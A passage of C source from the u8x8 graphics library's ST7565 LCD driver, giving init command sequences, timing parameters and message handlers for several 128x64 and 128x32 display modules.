U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7565_zflip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7565_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 4,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_st7565_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7565 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7565 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* DOGM128 */\n\nstatic const uint8_t u8x8_d_st7565_dogm128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x018),\t\t/* set contrast, contrast value, EA default: 0x016 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_ea_dogm128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_dogm128_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n\n/*================================================*/\n/* LM6063 https://github.com/olikraus/u8g2/issues/893 */\n\nstatic const uint8_t u8x8_d_st7565_lm6063_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 50/4),\t\t/* set contrast, contrast value, 40..60 seems to be good */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_lm6063(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lm6063_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* Displaytech 64128n */\n\nstatic const uint8_t u8x8_d_st7565_64128n_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  #ifdef NOT_WORKING\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  //U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  //U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n\n  U8X8_C(0x010),                   \t\t/* Set V0 voltage resistor ratio. Setting for controlling brightness of Displaytech 64128N */\n  \n  \n  U8X8_CA(0x081, 0x01e),\t\t/* set contrast, contrast value */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n#else\n\n\n  U8X8_C(0x0e2),            \t   /* soft reset */\n  U8X8_C(0x0A2),   \t\t\t\t   /* 0x0a2: LCD bias 1/9 (according to Displaytech 64128N datasheet) */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  //U8X8_C(0x0A0),  \t\t\t\t   /* Normal ADC Select (according to Displaytech 64128N datasheet) */\n  //U8X8_C(0x0c8),                   /* common output mode: set scan direction normal operation/SHL Select, 0x0c0 --> SHL = 0, normal, 0x0c8 --> SHL = 1 */\n  \n  U8X8_C(0x040),\t\t           /* Display start line for Displaytech 64128N */\n  U8X8_C(0x028 | 0x04),            /* power control: turn on voltage converter */\n  U8X8_C(0x028 | 0x06),            /* power control: turn on voltage regulator */\n  U8X8_C(0x028 | 0x07),            /* power control: turn on voltage follower */\n  U8X8_C(0x010),                   /* Set V0 voltage resistor ratio. Setting for controlling brightness of Displaytech 64128N */\n\t\t\t\t\t      /* 19 Jul 17: Not sure if this is true, cmd 0x1? is used to set the column */\n  U8X8_C(0x0a6),                   /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x081),      \t           /* set contrast */\n  U8X8_C(0x01e),        \t       /* Contrast value. Setting for controlling brightness of Displaytech 64128N */\n  //U8X8_C(0x0af),\t\t           /* display on */\n  //U8X8_C(0x0a5),\t\t           /* display all points, ST7565 */\n  //U8X8_C(0x0a4),\t\t           /* normal display */\n\n  U8X8_C(0x0ae),\t\t                /* display off */\n\n\n#endif\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7565_64128n_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_st7565_64128n(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_64128n_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_64128n_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* ZOLEN 128x64  */\n\nstatic const uint8_t u8x8_d_st7565_zolen_128x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c0),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x007),\t\t/* set contrast, contrast value, EA default: 0x016 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_zolen_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zolen_128x64_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n\n/*================================================*/\n/* NHD-C12832 */\n\nstatic const u8x8_display_info_t u8x8_st7565_128x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\n\nstatic const uint8_t u8x8_d_st7565_nhd_c12832_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x023),\t\t                /* set V0 voltage resistor ratio to large*/\n  U8X8_CA(0x081, 0x00a),\t\t/* set contrast, contrast value NHD C12832 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_nhd_c12832(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x32_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_nhd_c12832_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* NHD-C12864 */\n\nstatic const u8x8_display_info_t u8x8_st7565_nhd_c12864_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_st7565_nhd_c12864_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x025),\t\t                /* set V0 voltage resistor ratio to large,  issue 1678: changed from 0x23 to 0x25 */\n  U8X8_CA(0x081, 170),\t\t\t/* set contrast, contrast value NHD C12864, see issue 186, increased contrast to 180 (issue 219), reduced to 170 (issue 1678) */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_nhd_c12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_nhd_c12864_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_nhd_c12864_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n/*================================================*/\n/* JLX12864 */\n\nuint8_t u8x8_d_st7565_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  return u8x8_d_st7565_nhd_c12864(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n/*================================================*/\n/* LM6059 (Adafruit)... probably this is a ST7567 display */\n\nstatic const uint8_t u8x8_d_st7565_lm6059_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x060),\t\t                /* set display start line to ... */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  //U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x (ST7567 feature) */\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x018),\t\t/* set contrast, contrast value, EA default: 0x016 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7565_lm6059_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 1,\t/* not sure... */\n  /* flipmode_x_offset = */ 3,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_st7565_lm6059(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lm6059_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lm6059_init_seq);\n\tbreak;\n      case 